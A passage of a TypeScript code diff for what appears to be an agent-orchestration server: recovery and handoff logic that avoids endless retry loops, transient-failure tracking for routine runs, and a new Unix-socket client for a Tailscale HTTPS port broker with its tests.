@@ -4481,6 +5623,21 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       }];
     });
 
+    const liveRecoveryActionIds = new Set<string>();
+    for (const row of activeRunRows) {
+      const recoveryActionId = readNonEmptyString(parseObject(row.contextSnapshot).recoveryActionId);
+      if (recoveryActionId) liveRecoveryActionIds.add(recoveryActionId);
+    }
+    for (const row of wakeRows) {
+      const recoveryActionId = readNonEmptyString(parseObject(row.payload).recoveryActionId);
+      if (recoveryActionId) liveRecoveryActionIds.add(recoveryActionId);
+    }
+    const healthyRecoveryActions = recoveryActionRows.filter((row) =>
+      (row.status === "escalated" && row.ownerType === "board") ||
+      Boolean(row.ownerUserId) ||
+      (Boolean(row.ownerAgentId) && liveRecoveryActionIds.has(row.id)),
+    );
+
     return classifyIssueGraphLiveness({
       issues: issueRows,
       relations: relationRows,
@@ -4504,7 +5661,7 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
       })),
       pendingInteractions: interactionRows,
       pendingApprovals: approvalRows,
-      openRecoveryIssues: openRecoveryIssues.concat(recoveryActionRows),
+      openRecoveryIssues: openRecoveryIssues.concat(healthyRecoveryActions),
       now: new Date(),
     });
   }
@@ -5243,19 +6400,19 @@ export function recoveryService(db: Db, deps: { enqueueWakeup: RecoveryWakeup })
           continue;
         }
 
-        const idempotencyKeys = readiness.blockerIssueIds.map((blockerIssueId) =>
-          buildIssueBlockersResolvedWakeIdempotencyKey({
-            dependentIssueId: candidate.id,
-            resolvedBlockerIssueId: blockerIssueId,
-          })
-        );
-        const idempotencyKey = buildIssueBlockersResolvedWakeIdempotencyKey({
+        // Level-triggered dedup: key on the full blocker set (the current ready
+        // state), not on any single resolved edge. An older completed per-edge
+        // wake for an earlier partial resolution has a different key, so it does
+        // not suppress this wake. The shared helper still suppresses a duplicate
+        // wake for the SAME ready state, which bounds reconciliation.
+        const idempotencyKey = buildIssueBlockersResolvedWakeStateKey({
           dependentIssueId: candidate.id,
-          resolvedBlockerIssueId,
+          blockerIssueIds: readiness.blockerIssueIds,
         });
-        const existingWake = await findExistingIssueBlockersResolvedWakeForAnyKey(db, {
+        const existingWake = await findExistingIssueBlockersResolvedWakeForReadyState(db, {
           companyId,
-          idempotencyKeys,
+          dependentIssueId: candidate.id,
+          blockerIssueIds: readiness.blockerIssueIds,
         });
         if (existingWake) {
           result.existingWakeSkipped += 1;
diff --git a/server/src/services/recovery/successful-run-handoff.test.ts b/server/src/services/recovery/successful-run-handoff.test.ts
index 5aa042b0418..936aca45640 100644
--- a/server/src/services/recovery/successful-run-handoff.test.ts
+++ b/server/src/services/recovery/successful-run-handoff.test.ts
@@ -11,6 +11,7 @@ import {
   decideSuccessfulRunHandoff,
   isIdempotentFinishSuccessfulRunHandoffWakeStatus,
   isSuccessfulRunHandoffValidPathSkip,
+  isPluginManagedIssueLifecycle,
   isSuccessfulRunHandoffRequiredNoticeBody,
   noticeMetadataReferencesRecoveryAction,
 } from "./successful-run-handoff.js";
@@ -207,6 +208,36 @@ describe("successful run handoff decision", () => {
     expect(instruction).not.toMatch(/[\u0000-\u0008\u000B-\u001F\u007F]/);
   });
 
+  it("does not queue for a run woken by source_scoped_recovery_action", () => {
+    expect(
+      decide({
+        run: {
+          ...run,
+          contextSnapshot: {
+            issueId: "issue-1",
+            wakeReason: "source_scoped_recovery_action",
+          },
+        } as any,
+      }),
+    ).toEqual({
+      kind: "skip",
+      reason: "recovery action run owns its own follow-up path",
+    });
+    // the recoveryActionId marker alone is also enough (payloads carry it even
+    // when wakeReason is rewritten downstream)
+    expect(
+      decide({
+        run: {
+          ...run,
+          contextSnapshot: { issueId: "issue-1", recoveryActionId: "recovery-action-1" },
+        } as any,
+      }),
+    ).toEqual({
+      kind: "skip",
+      reason: "recovery action run owns its own follow-up path",
+    });
+  });
+
   it("does not queue when the issue already has a valid disposition", () => {
     expect(decide({ issue: { ...issue, status: "done" } as any })).toEqual({
       kind: "skip",
@@ -214,6 +245,35 @@ describe("successful run handoff decision", () => {
     });
   });
 
+  it("does not queue when a plugin owns the issue's lifecycle", () => {
+    expect(decide({ issue: { ...issue, originKind: "plugin:paperclip.workflow-engine" } as any })).toEqual({
+      kind: "skip",
+      reason: "issue lifecycle is owned by a plugin",
+    });
+    expect(decide({ issue: { ...issue, originKind: "plugin:paperclip.workflow-engine:advance" } as any })).toEqual({
+      kind: "skip",
+      reason: "issue lifecycle is owned by a plugin",
+    });
+  });
+
+  it("still queues for non-plugin origin kinds", () => {
+    expect(decide({ issue: { ...issue, originKind: "manual" } as any }).kind).toBe("enqueue");
+    expect(decide({ issue: { ...issue, originKind: null } as any }).kind).toBe("enqueue");
+  });
+
+  describe("isPluginManagedIssueLifecycle", () => {
+    it("is true for any plugin: prefixed origin kind", () => {
+      expect(isPluginManagedIssueLifecycle({ originKind: "plugin:paperclip.workflow-engine" })).toBe(true);
+      expect(isPluginManagedIssueLifecycle({ originKind: "plugin:paperclip.workflow-engine:advance" })).toBe(true);
+    });
+
+    it("is false for non-plugin or missing origin kinds", () => {
+      expect(isPluginManagedIssueLifecycle({ originKind: "manual" })).toBe(false);
+      expect(isPluginManagedIssueLifecycle({ originKind: null })).toBe(false);
+      expect(isPluginManagedIssueLifecycle({})).toBe(false);
+    });
+  });
+
   it("does not queue when a successful run records an accepted next-action path", () => {
     expect(decide({ issue: { ...issue, status: "in_review" } as any })).toEqual({
       kind: "skip",
diff --git a/server/src/services/recovery/successful-run-handoff.ts b/server/src/services/recovery/successful-run-handoff.ts
index e6a3533586d..0c5943606a5 100644
--- a/server/src/services/recovery/successful-run-handoff.ts
+++ b/server/src/services/recovery/successful-run-handoff.ts
@@ -49,6 +49,22 @@ export function isIdempotentFinishSuccessfulRunHandoffWakeStatus(status: string)
   return IDEMPOTENT_HANDOFF_WAKE_STATUS_SET.has(status);
 }
 
+/**
+ * A plugin (e.g. a graph/workflow engine) owns this issue's lifecycle and may
+ * legitimately hold it at `in_progress` for a long time — e.g. an anchor issue
+ * parked at a fan-out node waiting on spawned child issues. Generic handoff/stranded-
+ * issue recovery has no way to know that, so treating it as a missing disposition
+ * repeatedly nags the agent for a "disposition" it has no valid way to give: the
+ * agent's own status change gets reverted by the plugin's own enforcement on the next
+ * event, which re-triggers the exact same recovery again — an unbounded, real-cost
+ * retry loop with no possible resolution. Every recovery path that can escalate or
+ * nag based on "issue is stuck in_progress" must consult this first and leave
+ * plugin-managed issues to the plugin's own recovery/enforcement path instead.
+ */
+export function isPluginManagedIssueLifecycle(issue: { originKind?: string | null }) {
+  return Boolean(issue.originKind?.startsWith("plugin:"));
+}
+
 type HeartbeatRunRow = typeof heartbeatRuns.$inferSelect;
 type IssueRow = Pick<
   typeof issues.$inferSelect,
@@ -57,10 +73,12 @@ type IssueRow = Pick<
   | "identifier"
   | "title"
   | "description"
+  | "originKind"
   | "status"
   | "assigneeAgentId"
   | "assigneeUserId"
   | "executionState"
+  | "originKind"
 >;
 type AgentRow = Pick<typeof agents.$inferSelect, "id" | "companyId" | "status">;
 type NoticeIssue = Pick<typeof issues.$inferSelect, "id" | "identifier" | "title" | "status">;
@@ -304,6 +322,19 @@ function isCorrectiveHandoffRun(run: HeartbeatRunRow) {
     readString(context.wakeReason) === FINISH_SUCCESSFUL_RUN_HANDOFF_REASON;
 }
 
+// A run woken by source_scoped_recovery_action must not become the source of another
+// successful-run handoff. The handoff idempotency key includes sourceRunId, so every
+// succeeding recovery run mints a fresh handoff wake: recovery run → handoff wake →
+// corrective run → new recovery action → recovery run → …, an unbounded ping-pong that
+// never reaches the handoff-exhausted escalation. Recovery runs own their own follow-up
+// path; if the disposition is still missing, the stranded-issue escalation (blocked +
+// exhausted notice) is the designed exit, not another handoff.
+function isRecoveryActionDrivenRun(run: HeartbeatRunRow) {
+  const context = readRecord(run.contextSnapshot);
+  return readString(context.wakeReason) === "source_scoped_recovery_action" ||
+    readString(context.recoveryActionId) !== null;
+}
+
 function isIssueMonitorMaintenanceRun(run: HeartbeatRunRow) {
   const context = readRecord(run.contextSnapshot);
   const wakeReason = readString(context.wakeReason);
@@ -423,6 +454,7 @@ export function decideSuccessfulRunHandoff(input: {
 
   if (run.status !== "succeeded") return { kind: "skip", reason: "source run did not succeed" };
   if (isCorrectiveHandoffRun(run)) return { kind: "skip", reason: "source run is already a corrective handoff run" };
+  if (isRecoveryActionDrivenRun(run)) return { kind: "skip", reason: "recovery action run owns its own follow-up path" };
   if (isIssueMonitorMaintenanceRun(run)) return { kind: "skip", reason: "issue monitor run owns its own recovery path" };
   if (isCommentDrivenWake(run)) return { kind: "skip", reason: "comment-driven wake already owns the next action" };
   if (run.issueCommentStatus === "retry_queued" || run.issueCommentStatus === "retry_exhausted") {
@@ -439,6 +471,9 @@ export function decideSuccessfulRunHandoff(input: {
   if (issue.assigneeUserId) return { kind: "skip", reason: "issue is human-owned" };
   if (issue.status !== "in_progress") return { kind: "skip", reason: `issue status ${issue.status} is a valid disposition` };
   if (issue.executionState) return { kind: "skip", reason: "issue has execution policy state" };
+  if (isPluginManagedIssueLifecycle(issue)) {
+    return { kind: "skip", reason: "issue lifecycle is owned by a plugin" };
+  }
   if (agent.status === "paused" || agent.status === "terminated" || agent.status === "pending_approval") {
     return { kind: "skip", reason: `agent status ${agent.status} is not invokable` };
   }
diff --git a/server/src/services/routines.ts b/server/src/services/routines.ts
index 95f7a3e06bb..f09ac75821d 100644
--- a/server/src/services/routines.ts
+++ b/server/src/services/routines.ts
@@ -83,6 +83,8 @@ const LIVE_HEARTBEAT_RUN_STATUSES = ["queued", "running", "scheduled_retry"];
 const TERMINAL_ISSUE_STATUSES = new Set(["done", "cancelled"]);
 const MAX_CATCH_UP_RUNS = 25;
 const MAX_ROUTINE_REVISIONS = 100;
+const EXECUTION_ISSUE_TRANSIENT_FAILURE_CODE = "execution_issue_status";
+const EXECUTION_ISSUE_TRANSIENT_FAILURE_STATUSES = ["blocked", "cancelled"] as const;
 const ACTIVITY_GATE_IGNORED_ACTIONS = [
   "issue.read_marked",
   "issue.read_unmarked",
@@ -100,6 +102,37 @@ const WEEKDAY_INDEX: Record<string, number> = {
   Sat: 6,
 };
 
+type ExecutionIssueTransientFailureStatus = (typeof EXECUTION_ISSUE_TRANSIENT_FAILURE_STATUSES)[number];
+
+function executionIssueTransientFailureReason(status: ExecutionIssueTransientFailureStatus) {
+  return `Execution issue moved to ${status}`;
+}
+
+function executionIssueTransientFailureStatusFromPayload(payload: unknown): ExecutionIssueTransientFailureStatus | null {
+  if (!payload || typeof payload !== "object" || Array.isArray(payload)) return null;
+  const transientFailure = (payload as Record<string, unknown>).transientFailure;
+  if (!transientFailure || typeof transientFailure !== "object" || Array.isArray(transientFailure)) return null;
+  const record = transientFailure as Record<string, unknown>;
+  if (record.code !== EXECUTION_ISSUE_TRANSIENT_FAILURE_CODE) return null;
+  return EXECUTION_ISSUE_TRANSIENT_FAILURE_STATUSES.find((status) => record.status === status) ?? null;
+}
+
+function executionIssueTransientFailureClearedAtFromPayload(payload: unknown): string | null {
+  if (!payload || typeof payload !== "object" || Array.isArray(payload)) return null;
+  const transientFailure = (payload as Record<string, unknown>).transientFailure;
+  if (!transientFailure || typeof transientFailure !== "object" || Array.isArray(transientFailure)) return null;
+  const clearedAt = (transientFailure as Record<string, unknown>).clearedAt;
+  return typeof clearedAt === "string" ? clearedAt : null;
+}
+
+function legacyExecutionIssueTransientFailureStatus(
+  failureReason: string | null,
+): ExecutionIssueTransientFailureStatus | null {
+  return EXECUTION_ISSUE_TRANSIENT_FAILURE_STATUSES.find(
+    (status) => failureReason === executionIssueTransientFailureReason(status),
+  ) ?? null;
+}
+
 async function resolveCompanyDefaultResponsibleUserId(db: Db, companyId: string) {
   const company = await db
     .select({ defaultResponsibleUserId: companies.defaultResponsibleUserId })
@@ -3144,17 +3177,73 @@ export function routineService(
         .where(eq(issues.id, issueId))
         .then((rows) => rows[0] ?? null);
       if (!issue || issue.originKind !== "routine_execution" || !issue.originRunId) return null;
+      const run = await db
+        .select({
+          id: routineRuns.id,
+          status: routineRuns.status,
+          failureReason: routineRuns.failureReason,
+          triggerPayload: routineRuns.triggerPayload,
+        })
+        .from(routineRuns)
+        .where(eq(routineRuns.id, issue.originRunId))
+        .then((rows) => rows[0] ?? null);
+      if (!run) return null;
       if (issue.status === "done") {
+        const transientFailureStatus = executionIssueTransientFailureStatusFromPayload(run.triggerPayload)
+          ?? legacyExecutionIssueTransientFailureStatus(run.failureReason);
+        const transientFailureClearedAt = executionIssueTransientFailureClearedAtFromPayload(run.triggerPayload);
         return finalizeRun(issue.originRunId, {
           status: "completed",
+          failureReason: null,
           completedAt: new Date(),
+          ...(transientFailureStatus
+            ? {
+              triggerPayload: {
+                ...(run.triggerPayload ?? {}),
+                transientFailure: {
+                  code: EXECUTION_ISSUE_TRANSIENT_FAILURE_CODE,
+                  status: transientFailureStatus,
+                  reason: executionIssueTransientFailureReason(transientFailureStatus),
+                  clearedAt: transientFailureClearedAt ?? new Date().toISOString(),
+                },
+              },
+            }
+            : {}),
         });
       }
       if (issue.status === "blocked" || issue.status === "cancelled") {
+        const failureReason = executionIssueTransientFailureReason(issue.status);
         return finalizeRun(issue.originRunId, {
           status: "failed",
-          failureReason: `Execution issue moved to ${issue.status}`,
+          failureReason,
           completedAt: new Date(),
+          triggerPayload: {
+            ...(run.triggerPayload ?? {}),
+            transientFailure: {
+              code: EXECUTION_ISSUE_TRANSIENT_FAILURE_CODE,
+              status: issue.status,
+              reason: failureReason,
+              recordedAt: new Date().toISOString(),
+            },
+          },
+        });
+      }
+      const transientFailureStatus = executionIssueTransientFailureStatusFromPayload(run.triggerPayload)
+        ?? legacyExecutionIssueTransientFailureStatus(run.failureReason);
+      if (run.status === "failed" && transientFailureStatus) {
+        return finalizeRun(issue.originRunId, {
+          status: "issue_created",
+          failureReason: null,
+          completedAt: null,
+          triggerPayload: {
+            ...(run.triggerPayload ?? {}),
+            transientFailure: {
+              code: EXECUTION_ISSUE_TRANSIENT_FAILURE_CODE,
+              status: transientFailureStatus,
+              reason: executionIssueTransientFailureReason(transientFailureStatus),
+              clearedAt: new Date().toISOString(),
+            },
+          },
         });
       }
       return null;
diff --git a/server/src/services/runtime-exposure/broker-client.test.ts b/server/src/services/runtime-exposure/broker-client.test.ts
new file mode 100644
index 00000000000..a13e4478a79
--- /dev/null
+++ b/server/src/services/runtime-exposure/broker-client.test.ts
@@ -0,0 +1,196 @@
+import net from "node:net";
+import os from "node:os";
+import path from "node:path";
+import { randomUUID } from "node:crypto";
+import { existsSync, unlinkSync } from "node:fs";
+
+import { afterEach, describe, expect, it } from "vitest";
+
+import { BrokerClientError, UnixBrokerClient } from "./broker-client.js";
+
+const LENGTH_PREFIX_BYTES = 4;
+
+/**
+ * Minimal in-process broker that speaks the exact `[4-byte BE length][json]`
+ * framing of the real socket server, so these tests exercise the client's
+ * framing + parsing without linking the host-privileged broker package.
+ */
+function startFakeBroker(
+  handler: (request: Record<string, unknown>) => unknown,
+): { socketPath: string; server: net.Server } {
+  const socketPath = path.join(os.tmpdir(), `tsh-broker-${randomUUID()}.sock`);
+  const server = net.createServer((socket) => {
+    const chunks: Buffer[] = [];
+    let expected = -1;
+    socket.on("data", (chunk) => {
+      chunks.push(chunk);
+      const buf = Buffer.concat(chunks);
+      if (expected < 0) {
+        if (buf.byteLength < LENGTH_PREFIX_BYTES) return;
+        expected = buf.readUInt32BE(0);
+      }
+      if (buf.byteLength < LENGTH_PREFIX_BYTES + expected) return;
+      const body = buf.subarray(LENGTH_PREFIX_BYTES, LENGTH_PREFIX_BYTES + expected).toString("utf8");
+      const request = JSON.parse(body) as Record<string, unknown>;
+      const response = handler(request);
+      const respBody = Buffer.from(JSON.stringify(response), "utf8");
+      const frame = Buffer.allocUnsafe(LENGTH_PREFIX_BYTES + respBody.byteLength);
+      frame.writeUInt32BE(respBody.byteLength, 0);
+      respBody.copy(frame, LENGTH_PREFIX_BYTES);
+      socket.end(frame);
+    });
+  });
+  server.listen(socketPath);
+  return { socketPath, server };
+}
+
+const servers: net.Server[] = [];
+const sockets: string[] = [];
+
+function fake(handler: (request: Record<string, unknown>) => unknown): string {
+  const { socketPath, server } = startFakeBroker(handler);
+  servers.push(server);
+  sockets.push(socketPath);
+  return socketPath;
+}
+
+afterEach(async () => {
+  for (const server of servers.splice(0)) {
+    await new Promise<void>((resolve) => server.close(() => resolve()));
+  }
+  for (const socketPath of sockets.splice(0)) {
+    if (existsSync(socketPath)) {
+      try {
+        unlinkSync(socketPath);
+      } catch {
+        /* ignore */
+      }
+    }
+  }
+});
+
+const RUNTIME_ID = "11111111-2222-4333-8444-555566667777";
+
+describe("UnixBrokerClient", () => {
+  it("round-trips reservation and expose requests", async () => {
+    let seen: Record<string, unknown> | undefined;
+    const socketPath = fake((request) => {
+      seen = request;
+      if (request.op === "reserve") {
+        return { ok: true, op: "reserve", requestId: request.requestId, handle: "h".repeat(20), reservedPorts: [42000, 52000] };
+      }
+      return { ok: true, op: "expose", requestId: request.requestId, handle: "h".repeat(20), publicPorts: [42000, 52000] };
+    });
+    const client = new UnixBrokerClient({ socketPath });
+    const reserved = await client.reserve(RUNTIME_ID, [
+      { purpose: "app", port: 42000 },
+      { purpose: "vite_hmr", port: 52000 },
+    ]);
+    expect(reserved).toEqual({ handle: "h".repeat(20), reservedPorts: [42000, 52000] });
+    const result = await client.expose(RUNTIME_ID, reserved.handle);
+    expect(result).toEqual({ handle: "h".repeat(20), publicPorts: [42000, 52000] });
+    expect(seen).toMatchObject({
+      v: 1,
+      op: "expose",
+      runtimeId: RUNTIME_ID,
+      handle: "h".repeat(20),
+    });
+    expect(typeof seen?.requestId).toBe("string");
+  });
+
+  it("parses a remove response", async () => {
+    const socketPath = fake((request) => ({
+      ok: true,
+      op: "remove",
+      requestId: request.requestId,
+      removedPorts: [42000],
+    }));
+    const client = new UnixBrokerClient({ socketPath });
+    const result = await client.remove(RUNTIME_ID, "h".repeat(20));
+    expect(result.removedPorts).toEqual([42000]);
+  });
+
+  it("parses a list response into owned listeners", async () => {
+    const socketPath = fake((request) => ({
+      ok: true,
+      op: "list",
+      requestId: request.requestId,
+      listeners: [{ runtimeId: RUNTIME_ID, port: 42000, purpose: "app" }],
+    }));
+    const client = new UnixBrokerClient({ socketPath });
+    const listeners = await client.list();
+    expect(listeners).toEqual([{ runtimeId: RUNTIME_ID, port: 42000, purpose: "app" }]);
+  });
+
+  it("surfaces a broker error response as a coded BrokerClientError", async () => {
+    const socketPath = fake((request) => ({
+      ok: false,
+      requestId: request.requestId,
+      code: "port_not_allowlisted",
+      message: "denied",
+    }));
+    const client = new UnixBrokerClient({ socketPath });
+    await expect(client.reserve(RUNTIME_ID, [{ purpose: "app", port: 42000 }])).rejects.toMatchObject({
+      name: "BrokerClientError",
+      code: "port_not_allowlisted",
+    });
+  });
+
+  it("rejects a malformed (non-ok) response shape", async () => {
+    const socketPath = fake(() => ({ surprise: true }));
+    const client = new UnixBrokerClient({ socketPath });
+    await expect(client.list()).rejects.toBeInstanceOf(BrokerClientError);
+  });
+
+  it("rejects an expose response missing publicPorts", async () => {
+    const socketPath = fake((request) => ({ ok: true, op: "expose", requestId: request.requestId, handle: "h".repeat(20) }));
+    const client = new UnixBrokerClient({ socketPath });
+    await expect(client.expose(RUNTIME_ID, "h".repeat(20))).rejects.toMatchObject({
+      code: "malformed_response",
+    });
+  });
+
+  it("times out when the broker accepts but never responds", async () => {
+    await expect(silentTimeout()).resolves.toBe(true);
+  });
+
+  it("errors when the socket path does not exist (transport error)", async () => {
+    const client = new UnixBrokerClient({
+      socketPath: path.join(os.tmpdir(), `missing-${randomUUID()}.sock`),
+      timeoutMs: 500,
+    });
+    await expect(client.list()).rejects.toMatchObject({ code: "transport_error" });
+  });
+});
+
+/** Build a truly-silent broker and assert the client times out against it. */
+async function silentTimeout(): Promise<boolean> {
+  const socketPath = path.join(os.tmpdir(), `silent-${randomUUID()}.sock`);
+  const connections: net.Socket[] = [];
+  const server = net.createServer((socket) => {
+    // Accept, never respond. Swallow the abortive close the client sends when
+    // it times out so the connection socket does not emit an unhandled error.
+    socket.on("error", () => {});
+    connections.push(socket);
+  });
+  await new Promise<void>((resolve) => server.listen(socketPath, () => resolve()));
+  try {
+    const client = new UnixBrokerClient({ socketPath, timeoutMs: 150 });
+    try {
+      await client.list();
+      return false;
+    } catch (error) {
+      return error instanceof BrokerClientError && error.code === "cli_timeout";
+    }
+  } finally {
+    for (const socket of connections) socket.destroy();
+    await new Promise<void>((resolve) => server.close(() => resolve()));
+    if (existsSync(socketPath)) {
+      try {
+        unlinkSync(socketPath);
+      } catch {
+        /* ignore */
+      }
+    }
+  }
+}
diff --git a/server/src/services/runtime-exposure/broker-client.ts b/server/src/services/runtime-exposure/broker-client.ts
new file mode 100644
index 00000000000..fa9cd28e477
--- /dev/null
+++ b/server/src/services/runtime-exposure/broker-client.ts
@@ -0,0 +1,292 @@
+/**
+ * Server-side client for the least-privilege Tailscale HTTPS host broker.
+ *
+ * The Paperclip server process holds NO Tailscale operator authority. Its only
+ * way to publish a same-number HTTPS-to-loopback listener is to ask the broker
+ * over its Unix domain socket. This client speaks the exact versioned,
+ * length-prefixed, byte-bounded wire protocol implemented by the broker's
+ * socket server (PAP-17049 plan, PAP-17050 verdict requirement #5).
+ *
+ * Framing (must match `packages/tailscale-https-broker/src/socket-server.ts`):
+ *   [4-byte big-endian body length][utf-8 JSON body]
+ * One request per connection; the broker writes a single framed response and
+ * closes the socket.
+ *
+ * Everything the broker returns is untrusted: the client validates the response
+ * shape before handing it back and never logs lease handles.
+ */
+import net from "node:net";
+
+/**
+ * Must match the broker's `BROKER_PROTOCOL_VERSION`. Kept as a local constant
+ * (rather than a dependency on the host-side broker package, which is installed
+ * and versioned separately under its own operator account) so the server does
+ * not import host-privileged code just to speak the wire protocol.
+ */
+const BROKER_PROTOCOL_VERSION = 1;
+
+/** Must match the broker's `MAX_REQUEST_BYTES` (8 KiB). */
+const MAX_REQUEST_BYTES = 8 * 1024;
+/** Must match the broker's `MAX_RESPONSE_BYTES` (16 KiB). */
+const MAX_RESPONSE_BYTES = 16 * 1024;
+const LENGTH_PREFIX_BYTES = 4;
+
+/** Listener purposes the broker understands. */
+export type BrokerListenerPurpose = "app" | "vite_hmr";
+
+export interface BrokerListenerRequest {
+  purpose: BrokerListenerPurpose;
+  /** Public HTTPS port == loopback target port (same-number invariant). */
+  port: number;
+}
+
+export interface BrokerExposeResult {
+  handle: string;
+  publicPorts: number[];
+}
+
+export interface BrokerReserveResult {
+  handle: string;
+  reservedPorts: number[];
+}
+
+export interface BrokerRemoveResult {
+  removedPorts: number[];
+}
+
+export interface BrokerOwnedListener {
+  runtimeId: string;
+  port: number;
+  purpose: BrokerListenerPurpose;
+}
+
+/**
+ * Error surfaced to the exposure manager. `code` is the broker's stable machine
+ * code (or a transport-level code) so lifecycle logic can branch without
+ * string-matching human messages.
+ */
+export class BrokerClientError extends Error {
+  constructor(
+    readonly code: string,
+    message: string,
+  ) {
+    super(message);
+    this.name = "BrokerClientError";
+  }
+}
+
+/**
+ * Minimal broker capability surface the exposure manager depends on. Defining
+ * it as an interface lets tests inject a fake broker with zero sockets.
+ */
+export interface BrokerClient {
+  reserve(runtimeId: string, listeners: BrokerListenerRequest[]): Promise<BrokerReserveResult>;
+  expose(runtimeId: string, handle: string): Promise<BrokerExposeResult>;
+  remove(runtimeId: string, handle: string): Promise<BrokerRemoveResult>;
+  list(): Promise<BrokerOwnedListener[]>;
+}
+
+export interface UnixBrokerClientOptions {
+  socketPath: string;
+  /** Per-request connect+round-trip deadline. Defaults to 5s. */
+  timeoutMs?: number;
+  /**
+   * Seam for tests: open a duplex stream to the broker. Defaults to a real Unix
+   * socket connection. Any injected connector must behave like a `net.Socket`.
+   */
+  connect?: (socketPath: string) => net.Socket;
+}
+
+let requestCounter = 0;
+
+function nextRequestId(): string {
+  requestCounter = (requestCounter + 1) % 1_000_000;
+  // Matches the broker's REQUEST_ID_RE (`[A-Za-z0-9_-]{1,64}`). No time/random
+  // needed for correctness; the broker keys responses by requestId echo only.
+  return `req-${requestCounter.toString(36)}`;
+}
+
+/**
+ * Unix-domain-socket implementation of {@link BrokerClient}. Each call opens a
+ * fresh connection, sends one length-prefixed frame, reads one length-prefixed
+ * response frame, and closes.
+ */
+export class UnixBrokerClient implements BrokerClient {
+  private readonly socketPath: string;
+  private readonly timeoutMs: number;
+  private readonly connect: (socketPath: string) => net.Socket;
+
+  constructor(options: UnixBrokerClientOptions) {
+    this.socketPath = options.socketPath;
+    this.timeoutMs = options.timeoutMs ?? 5_000;
+    this.connect = options.connect ?? ((p) => net.createConnection(p));
+  }
+
+  async reserve(
+    runtimeId: string,
+    listeners: BrokerListenerRequest[],
+  ): Promise<BrokerReserveResult> {
+    const response = await this.roundTrip({
+      v: BROKER_PROTOCOL_VERSION,
+      op: "reserve",
+      requestId: nextRequestId(),
+      runtimeId,
+      listeners: listeners.map((l) => ({ purpose: l.purpose, port: l.port })),
+    });
+    if (
+      typeof response.handle !== "string" ||
+      !Array.isArray(response.reservedPorts) ||
+      !response.reservedPorts.every((p) => Number.isInteger(p))
+    ) {
+      throw new BrokerClientError("malformed_response", "reserve response missing handle/reservedPorts");
+    }
+    return { handle: response.handle, reservedPorts: response.reservedPorts as number[] };
+  }
+
+  async expose(runtimeId: string, handle: string): Promise<BrokerExposeResult> {
+    const response = await this.roundTrip({
+      v: BROKER_PROTOCOL_VERSION,
+      op: "expose",
+      requestId: nextRequestId(),
+      runtimeId,
+      handle,
+    });
+    if (
+      typeof response.handle !== "string" ||
+      !Array.isArray(response.publicPorts) ||
+      !response.publicPorts.every((p) => Number.isInteger(p))
+    ) {
+      throw new BrokerClientError("malformed_response", "expose response missing handle/publicPorts");
+    }
+    return { handle: response.handle, publicPorts: response.publicPorts as number[] };
+  }
+
+  async remove(runtimeId: string, handle: string): Promise<BrokerRemoveResult> {
+    const response = await this.roundTrip({
+      v: BROKER_PROTOCOL_VERSION,
+      op: "remove",
+      requestId: nextRequestId(),
+      runtimeId,
+      handle,
+    });
+    if (!Array.isArray(response.removedPorts) || !response.removedPorts.every((p) => Number.isInteger(p))) {
+      throw new BrokerClientError("malformed_response", "remove response missing removedPorts");
+    }
+    return { removedPorts: response.removedPorts as number[] };
+  }
+
+  async list(): Promise<BrokerOwnedListener[]> {
+    const response = await this.roundTrip({
+      v: BROKER_PROTOCOL_VERSION,
+      op: "list",
+      requestId: nextRequestId(),
+    });
+    if (!Array.isArray(response.listeners)) {
+      throw new BrokerClientError("malformed_response", "list response missing listeners");
+    }
+    return response.listeners.map((entry): BrokerOwnedListener => {
+      const listener = entry as Record<string, unknown>;
+      if (
+        typeof listener.runtimeId !== "string" ||
+        !Number.isInteger(listener.port) ||
+        (listener.purpose !== "app" && listener.purpose !== "vite_hmr")
+      ) {
+        throw new BrokerClientError("malformed_response", "list returned a malformed listener");
+      }
+      return {
+        runtimeId: listener.runtimeId,
+        port: listener.port as number,
+        purpose: listener.purpose,
+      };
+    });
+  }
+
+  /** Send one request frame, resolve the single framed response as an object. */
+  private roundTrip(request: unknown): Promise<Record<string, unknown>> {
+    const body = Buffer.from(JSON.stringify(request), "utf8");
+    if (body.byteLength > MAX_REQUEST_BYTES) {
+      return Promise.reject(new BrokerClientError("request_too_large", "broker request exceeds size limit"));
+    }
+    const frame = Buffer.allocUnsafe(LENGTH_PREFIX_BYTES + body.byteLength);
+    frame.writeUInt32BE(body.byteLength, 0);
+    body.copy(frame, LENGTH_PREFIX_BYTES);
+
+    return new Promise((resolve, reject) => {
+      const socket = this.connect(this.socketPath);
+      const chunks: Buffer[] = [];
+      let received = 0;
+      let expected = -1;
+      let settled = false;
+
+      const done = (fn: () => void): void => {
+        if (settled) return;
+        settled = true;
+        clearTimeout(timer);
+        socket.removeAllListeners();
+        socket.destroy();
+        fn();
+      };
+
+      const timer = setTimeout(() => {
+        done(() => reject(new BrokerClientError("cli_timeout", "broker request timed out")));
+      }, this.timeoutMs);
+      timer.unref?.();
+
+      socket.on("error", (err: Error) => {
+        done(() => reject(new BrokerClientError("transport_error", err.message)));
+      });
+
+      socket.on("close", () => {
+        // Closed before a full response was parsed.
+        done(() => reject(new BrokerClientError("transport_error", "broker closed connection early")));
+      });
+
+      socket.on("data", (chunk: Buffer) => {
+        received += chunk.byteLength;
+        if (received > LENGTH_PREFIX_BYTES + MAX_RESPONSE_BYTES) {
+          done(() => reject(new BrokerClientError("malformed_response", "broker response exceeds size limit")));
+          return;
+        }
+        chunks.push(chunk);
+        const buf = Buffer.concat(chunks);
+        if (expected < 0) {
+          if (buf.byteLength < LENGTH_PREFIX_BYTES) return;
+          expected = buf.readUInt32BE(0);
+          if (expected > MAX_RESPONSE_BYTES) {
+            done(() => reject(new BrokerClientError("malformed_response", "broker response length invalid")));
+            return;
+          }
+        }
+        if (buf.byteLength < LENGTH_PREFIX_BYTES + expected) return;
+        const payload = buf.subarray(LENGTH_PREFIX_BYTES, LENGTH_PREFIX_BYTES + expected).toString("utf8");
+        let parsed: unknown;
+        try {
+          parsed = JSON.parse(payload);
+        } catch {
+          done(() => reject(new BrokerClientError("malformed_response", "broker response is not valid JSON")));
+          return;
+        }
+        if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
+          done(() => reject(new BrokerClientError("malformed_response", "broker response is not an object")));
+          return;
+        }
+        const obj = parsed as Record<string, unknown>;
+        if (obj.ok === false) {
+          const code = typeof obj.code === "string" ? obj.code : "internal_error";
+          const message = typeof obj.message === "string" ? obj.message : code;
+          done(() => reject(new BrokerClientError(code, message)));
+          return;
+        }
+        if (obj.ok !== true) {
